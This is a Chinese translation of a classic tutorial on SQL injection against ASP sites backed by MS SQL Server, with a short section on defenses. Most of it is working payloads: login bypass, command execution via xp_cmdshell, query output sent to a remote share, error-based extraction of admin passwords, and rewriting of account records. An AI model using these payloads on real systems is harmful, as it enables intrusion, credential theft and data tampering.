SQL Injection技巧的演練
發(fā)布時間:2008-06-30 閱讀數(shù): 次 來源:網(wǎng)樂原科技
[翻譯文]SQL Injection技巧的演練
原著: sk@scan-associates.net
出處: http://www.securiteam.com/
翻譯人: demonalex
翻譯人Email: demonalex_at_dark2s.org
摘要:
下文是為了幫助那些希望能掌握這個漏洞的運用、并想得知如何保護自己免受這種漏洞攻擊的人了解該漏洞的本質(zhì)而寫的。
詳細資料:
1.0緒論
當(dāng)一臺機器只開放了80端口(這里指的是提供HTTP服務(wù))時,可能你的大多數(shù)漏洞掃描器都不能給到你很多有價值的信息(漏洞信息),倘若這臺機器的管理員是經(jīng)常為他的服務(wù)器打PATCH的話,我們只好把攻擊的矛頭指向WEB服務(wù)攻擊了。SQL注入攻擊是WEB攻擊類型中的一種,這種攻擊沒有什么特殊的要求,只需要對方提供正常的HTTP服務(wù),且不需要理會管理員是否是個“PATCH狂”。這類攻擊主要是針對某種WEB處理程序(如ASP,JSP,PHP,CGI等等)的而進行。
這篇文章不是在為閣下介紹什么新“玩意”,SQL注入攻擊以前就一直廣為流傳著。我之所以現(xiàn)在才寫這篇文章是因為我想把我最近實驗所得的某些經(jīng)驗與積累記錄下來,希望能給予讀者某些參考吧。你也可以在“9.0我從哪里可以得到更多相關(guān)資料?”的欄目中找到更多其他人所寫的、關(guān)于SQL注入技巧的相關(guān)資料。
1.1什么是SQL注入?
這種攻擊的要訣在于將SQL的查詢/行為命令通過‘嵌入’的方式放入合法的HTTP提交請求中從而達到攻擊者的某種意圖?,F(xiàn)在很多的動態(tài)網(wǎng)頁都會從該網(wǎng)頁使用者的請求中得到某些參數(shù),然后動態(tài)的構(gòu)成SQL請求發(fā)給數(shù)據(jù)庫的。舉個例子,當(dāng)有某個用戶需要通過網(wǎng)頁上的用戶登陸(用戶身份驗證)時,動態(tài)網(wǎng)頁會將該用戶提交上來的用戶名與密碼加進SQL詢問請求發(fā)給數(shù)據(jù)庫,用于確認該用戶提交的身份驗證信息是否有效。在SQL注入攻擊的角度看來,這樣可以使我們在發(fā)送SQL請求時通過修改用戶名與/或密碼值的‘領(lǐng)域’區(qū)來達到攻擊的目的。
1.2SQL注入需要什么(工具等)呢?
一個(些)網(wǎng)頁瀏覽器。
2.0什么信息是你所需要找尋的呢?
首先你需要找到允許提交數(shù)據(jù)的頁面,如:登陸頁面、搜索頁面、反饋頁面、等等。有的時候,某些HTML頁面會通過POST命令將所需要的參數(shù)傳遞給其他的ASP頁面。所以,有的時候你不會在URL路徑中看到相關(guān)的參數(shù)。盡管如此,你仍可以通過查看HTML的源代碼中的"FORM"標簽來辨別是否有參數(shù)傳遞,相關(guān)的代碼如下:
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
在<FORM>與</FORM>的標簽對間的每一個參數(shù)傳遞都有可能可以被利用(利用在攻擊的情況下)著SQL注入。
2.1當(dāng)你找不到有輸入行為的頁面時應(yīng)該怎么辦呢?
你可以找一些相關(guān)ASP、JSP、CGI或PHP這類型的頁面。嘗試找一些帶有某些參數(shù)的特殊URL,如:
http://duck/index.asp?id=10
3.0你應(yīng)該如何測試這些缺陷是否存在呢?
首先先加入某些特殊的字符標記,輸入如:
hi' or 1=1--
尋找一些登陸頁面,在其登陸ID與密碼輸入處,或URL中輸入:
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--
如果想以‘隱藏’的方式進行此類測試,你可以把該HTML網(wǎng)頁從網(wǎng)站上下載至本地硬盤,修改其隱藏部分的值,如:
<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>
如果閣下是幸運的話估計現(xiàn)在已經(jīng)可以不需要帳號與密碼而‘成功登陸’了。
3.1為什么使用的是' or 1=1--呢?
讓我們來看看其他例子中使用'or 1=1--的重要性吧。有別于正常的登陸方式,使用這樣的登陸方式可能可以得到正常登陸中不能得到的某些特殊信息。用一個鏈接中得到的ASP頁來打比方:
http://duck/index.asp?category=food
在上面這條URL中,'category'是一個變量名,而'food'是賦予該變量的值。為了做到這些(鏈接成功),這個ASP必須包含以下相關(guān)的代碼(下面也是我們?yōu)榱搜菔具@個實驗所寫的代碼):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
正如我們所看到的,變量值將會預(yù)先處理然后賦值于'v_cat',也就是說該SQL語句將會變?yōu)?
SELECT * FROM product WHERE PCategory='food'
這個請求將會返回通過WHERE條件比較后得到的結(jié)果,在這個例子中也就是'food'了。現(xiàn)在設(shè)想一下如果我們把該URL改成這樣的話:
http://duck/index.asp?category=food' or 1=1--
現(xiàn)在我們的變量v_cat的值就等同于"food' or 1=1--"了,現(xiàn)在如果我們要重新代入那條SQL請求的話,那條SQL請求將會是:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
現(xiàn)在這個請求將會從product表中選取每一條信息而并不會去理會PCategory是否等于'food'。至于結(jié)尾部分的那兩條'--'(破折號)則用于‘告訴’MS SQL SERVER忽略結(jié)尾最后的那個'(單引號)。有的時候也可以使用'#'(井號)來代替'--'(雙破折號)在這里的用法。
無論如何,如果對方不是一臺SQL服務(wù)器(這里指的是MS SQL SERVER),或者你不能使用簡單的方法去忽略最后的那個單引號的話,你可以嘗試:
' or 'a'='a
這樣的話整個SQL請求將會變?yōu)?
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
它也會返回相同的結(jié)果。
根據(jù)實際情況,SQL注入請求是可以有多種動態(tài)變化的可能性的:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
4.0如何在SQL注入請求中加入即時執(zhí)行命令?
能夠進行SQL注入的服務(wù)器通常都是一些疏于做系統(tǒng)性配置檢查的機器,此時我們可以嘗試使用SQL的命令執(zhí)行請求。默認的MS SQL服務(wù)器是運行在SYSTEM用戶級別下,這等同于系統(tǒng)管理員的執(zhí)行與訪問權(quán)限。我們可以使用MS SQL SERVER的擴展儲存過程(如master..xp_cmdshell等)來執(zhí)行遠程系統(tǒng)的某些命令:
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
若失敗可以嘗試一下使用"(雙引號)代替'(單引號)。
上面例子中的第二個冒號代表一句SQL請求的結(jié)束(也代表了它后面緊跟著一條新SQL命令)。若要檢驗上面這條PING命令是否成功,你可以在10.10.1.2這臺機器上監(jiān)聽ICMP請求包,并確認它是否來自那臺SQL服務(wù)器就可以了:
#tcpdump icmp
如果你不能從那臺SQL服務(wù)器中得到PING請求的話,并在SQL請求的返回值中得到錯誤信息的話,有可能是因為該SQL服務(wù)器的管理員限制了WEB用戶訪問這些儲存過程了。
5.0如何可以獲取到我發(fā)的SQL請求的相關(guān)返回信息呢?
我們可以使用sp_makewebtask處理過程的相關(guān)請求寫入URL:
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
但先決條件是目標主機的文件夾“share”屬性必須設(shè)置為“Everyone”。
6.0如何可以從數(shù)據(jù)庫返回的ODBC錯誤信息得到某些重要的數(shù)據(jù)呢?
我們可以通過發(fā)送精心構(gòu)造的SQL請求迫使MS SQL SERVER從返回的信息中透露出我們想得到的信息(如表名、列名等)。比方有這么一個URL:
http://duck/index.asp?id=10
在上面的URL中我們可以嘗試使用UNION子句的方式在整數(shù)'10'之后加入其他請求字符串進去的,如:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
上例中的系統(tǒng)表INFORMATION_SCHEMA.TABLES包括了這臺服務(wù)器中所有表的信息。至于TABLE_NAME區(qū)域就包括了每一個表的名稱。我們之所以要選擇這樣寫是因為我們知道它是一定存在的。換言之我們的SQL詢問請求就是:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
服務(wù)器接到請求數(shù)據(jù)后必將返回數(shù)據(jù)庫的第一個表名。當(dāng)我們使用UNION子句將請求字符串加入整數(shù)10之后時,MS SQL SERVER會嘗試轉(zhuǎn)換該字符串為整數(shù)值。既然我們不能把字符串(nvarchar)轉(zhuǎn)為整數(shù)型(int)時,系統(tǒng)就會產(chǎn)生錯誤。服務(wù)器會顯示如下錯誤信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
table1' to a column of data type int.
/index.asp, line 5
非常好,這條錯誤信息告訴了我們轉(zhuǎn)換出現(xiàn)錯誤的所有相關(guān)信息(包括我們想知道的表名)。在這個實例中,我們知道了第一個表名是“table1”。若要得到下一個表名,我們可以發(fā)送這樣的請求:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME NOT IN ('table1')--
我們也可以通過LIKE來找尋相關(guān)的特殊字:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
輸出得到:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
admin_login' to a column of data type int.
/index.asp, line 5
6.1如何找出表中的列名?
我們可以利用另一個比較重要的表INFORMATION_SCHEMA.COLUMNS來羅列出一個表的所有列名:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='admin_login'--
輸出顯示為:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
login_id' to a column of data type int.
/index.asp, line 5
現(xiàn)在已經(jīng)得到第一個列的名稱了,我們還可以用NOT IN ()得到下一個列名:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
輸出得到:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
login_name' to a column of data type int.
/index.asp, line 5
若繼續(xù)重復(fù)這樣的操作,我們將可以獲得余下所有的列名,如"password"、"details"。當(dāng)我們使用了下面的請求后就可以得到(除了'login_id','login_name','password',details'之外的列名):
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
輸出后得到:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select lis
t if the statement contains a UNION operator.
/index.asp, line 5
6.2如何找到我們需要的數(shù)據(jù)?
現(xiàn)在我們需要鑒別出一些比較重要的表與列,我們可以用相同的技巧詢問數(shù)據(jù)庫從而得到相關(guān)的信息。現(xiàn)在讓我們問問"admin_login"表的第一個用戶名是什么吧:
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
輸出:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
neo' to a column of data type int.
/index.asp, line 5
知道了一個管理員帳號是"neo"。最后,問問這個管理員帳號的密碼是什么吧:
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
輸出:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
m4trix' to a column of data type int.
/index.asp, line 5
現(xiàn)在我們可以用"neo"與他的密碼("m4trix")來登陸系統(tǒng)了。
6.3如何獲得數(shù)字串值?
在這里技術(shù)上表達的一種局限性。若要將數(shù)字(0-9之間的數(shù)字)轉(zhuǎn)換為正常的文本數(shù)據(jù)的話,我們將無法得到我們所需要的錯誤提示信息。舉個例子,我們現(xiàn)在要嘗試得到帳號為"trinity"的密碼,而它所對應(yīng)的密碼為"31173":
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
這樣我們大概只能得到“Page Not Found”這樣的錯誤提示。這其中的主要問題在于,在與整數(shù)(這個例子中為10)進行了合集(使用了UNION子句)以后這個密"31173"將會被系統(tǒng)轉(zhuǎn)換為數(shù)值。這樣的話這個UNION字句調(diào)用就是‘合法’的了,SQL服務(wù)器將不會返回任何ODBC錯誤信息,因而我們是不可能得到這些數(shù)字型數(shù)據(jù)的。
為了解決這個問題,我們可以為這些數(shù)據(jù)字符串加入一些字母表來確定轉(zhuǎn)化過程是錯誤的。讓我們試試用下面的這條請求來代替原來的請求吧:
http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
在這里我們只不過是加入了一個(+)加號與其它我們想加入的字符進去而已(在ASCII中'+'等于0x2b)。我們加入了一個(%20)空格與morpheus(隨便一個字符串)進入實際的密碼數(shù)據(jù)中。這樣的話,即使我們得到了數(shù)字串'31173',它也會變成'31173 morpheus'。
在執(zhí)行了convert()函數(shù)后,系統(tǒng)會嘗試將'31173 morpheus'轉(zhuǎn)換為整數(shù)型,SQL服務(wù)器一定會返回這樣的ODBC錯誤信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
31173 morpheus' to a column of data type int.
/index.asp, line 5
現(xiàn)在你可以知道'trinity'的密碼是'31173'了吧。
7.0如何在數(shù)據(jù)庫中更新/插入數(shù)據(jù)?
當(dāng)成功地收集到表中所有的列后,我們就可以在表中UPDATE(升級/修改)原有的數(shù)據(jù)或者INSERT(加入)新的數(shù)據(jù)。打個比方,我們要修改帳號"neo"的密碼:
http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--
加入一條新的記錄:
http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password
', 'details') VALUES (666,'neo2','newpas5','NA')--
現(xiàn)在我們就可以以帳號"neo2"、密碼"newpas5"登陸系統(tǒng)了。
8.0如何避免被SQL注入攻擊?
過濾一些特殊像單引號、雙引號、斜杠、反斜杠、冒號、空字符等的字符,過濾的對象包括:
-用戶的輸入
-提交的URL請求中的參數(shù)部分
-從cookie中得到的數(shù)據(jù)
至于數(shù)字值,將其轉(zhuǎn)換為整數(shù)型之前必須有SQL語句聲明,或者用ISNUMERIC確定它為一個整型數(shù)。修改“Startup and run SQL Server”的用戶運行級別為低級別。
刪除一系列你不需要的儲存過程,如:
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask
9.0我從哪里可以得到更多相關(guān)資料?
我們最初接觸到SQL注入攻擊是在Rain Forest Puppy有關(guān)他入侵PacketStorm的文章中提到的。
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
一篇收集了ODBC錯誤信息的好文章:
http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc
關(guān)于在SQL SERVER中進行SQL注入的好文章:
http://www.owasp.org/asac/input_validation/sql.shtml
Senseport網(wǎng)站所著的關(guān)于SQL注入的文章:
http://www.sensepost.com/misc/SQLinsertion.htm
其他相關(guān)文檔:
http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf